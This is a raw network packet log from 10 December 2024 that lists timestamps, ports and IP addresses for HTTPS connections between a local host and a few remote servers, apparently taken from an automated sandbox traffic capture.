Dec 10, 2024 07:35:22.964766026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.964787006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.964824915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.964845896 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:22.964873075 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:22.964889050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.073827982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.073858976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.073916912 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.073946953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.074013948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.078349113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.078377008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.078437090 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.078457117 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.078514099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.083158970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.083199024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.083240032 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.083264112 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.083290100 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.083327055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.088063002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.088109016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.088148117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.088179111 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.088196993 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.088216066 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.092842102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.092895031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.092926025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.092947960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.092967033 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.092999935 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.097790003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.097825050 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.097875118 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.097903013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.097927094 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.097942114 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.152595043 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.152635098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.152687073 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.152724981 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.152744055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.152767897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.156948090 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.156964064 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.157031059 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.157056093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.157104015 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.242508888 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:23.242569923 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:23.242654085 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:23.243684053 CET	49751	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:23.243704081 CET	443	49751	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:23.265822887 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.265861034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.265996933 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.266027927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.266072035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.270730972 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.270764112 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.270840883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.270862103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.270905018 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.275675058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.275696039 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.275808096 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.275825977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.275871038 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.280731916 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.280754089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.280839920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.280855894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.280893087 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.285307884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.285330057 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.285387993 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.285408974 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.285445929 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.289730072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.289746046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.289839983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.289856911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.289899111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.291244030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.291496992 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.291536093 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.291558027 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.299874067 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.299916983 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.299971104 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.299992085 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.300029993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.310369968 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.318761110 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.318818092 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.318872929 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.318893909 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.318957090 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.327038050 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.344650030 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.344692945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.344954014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.345004082 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.345053911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.349006891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.349031925 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.349116087 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.349139929 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.349193096 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.379103899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.410825014 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.457148075 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.457168102 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.467894077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.467924118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.468003035 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.468029976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.468065977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.468090057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.468712091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.468734980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.468777895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.468790054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.468813896 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.468832970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.469567060 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.469583988 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.469628096 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.469643116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.469661951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.469681978 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.475191116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.475219965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.475271940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.475296974 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.475322962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.475337982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.483560085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.483597994 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.483664989 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.483696938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.483752012 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.484247923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.484276056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.484329939 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.484338045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.484361887 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.484380960 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.484416962 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.484457016 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.493798018 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.493865013 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.493885994 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.501475096 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.501523018 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.501538992 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.501558065 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.501624107 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.509103060 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.523648024 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.523734093 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.523781061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.524914980 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.524966002 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.524971008 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.532731056 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.532804012 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.532816887 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.537586927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.537615061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.537667036 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.537712097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.537729979 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.537761927 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.541487932 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.541516066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.541558027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.541577101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.541615009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.541635990 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.547859907 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.547915936 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.547940969 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.547959089 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.548000097 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.554184914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.559823036 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.559878111 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.560055017 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.560070992 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.562048912 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.565835953 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.572298050 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.573292971 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.573307991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.613531113 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.651051998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.651087999 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.651192904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.651233912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.651288033 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.655790091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.655823946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.655891895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.655910015 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.656147957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.660248041 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.660291910 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.660362959 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.660378933 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.660435915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.665150881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.665178061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.665251017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.665263891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.665307999 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.670120955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.670140028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.670238018 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.670250893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.670291901 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.674871922 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.674892902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.674952030 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.674964905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.675272942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.693994045 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694006920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694032907 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694042921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694056034 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694103003 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.694122076 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.694185972 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.694219112 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.717329979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.717343092 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.717361927 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.717509985 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.717525005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.717889071 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.729372978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.729396105 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.729537964 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.729552031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.729592085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.733366013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.733383894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.733426094 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.733434916 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.733445883 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.733469963 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.743940115 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.743958950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.744061947 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.744071960 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.744110107 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.770555019 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.770579100 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.770694017 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.770714998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.770993948 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.843378067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.843404055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.843545914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.843574047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.843615055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.848247051 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.848267078 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.848356009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.848371029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.848407030 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.852797031 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.852827072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.852931976 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.852940083 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.852982044 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.857913971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.857934952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.858100891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.858109951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.858176947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.862296104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.862314939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.862437010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.862445116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.862483025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.867300987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.867325068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.867528915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.867536068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.867589951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.883151054 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.883172989 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.883306026 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.883331060 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.885632038 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.898996115 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.899025917 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.899183989 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.899204969 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.899257898 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.916526079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.916553020 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.916724920 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.916757107 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.917996883 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.921183109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.921205997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.921317101 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.921339035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.921385050 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.925813913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.925831079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.926006079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.926019907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.929177046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.934041023 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.934062958 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.934170008 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.934182882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.934220076 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.952155113 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.952178001 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.952301979 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.952316046 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.954027891 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.968316078 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.968343019 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.968492985 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:23.968501091 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:23.968533993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.035749912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.035792112 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.035948992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.036041975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.036115885 CET	49720	443	192.168.2.5	185.199.109.133
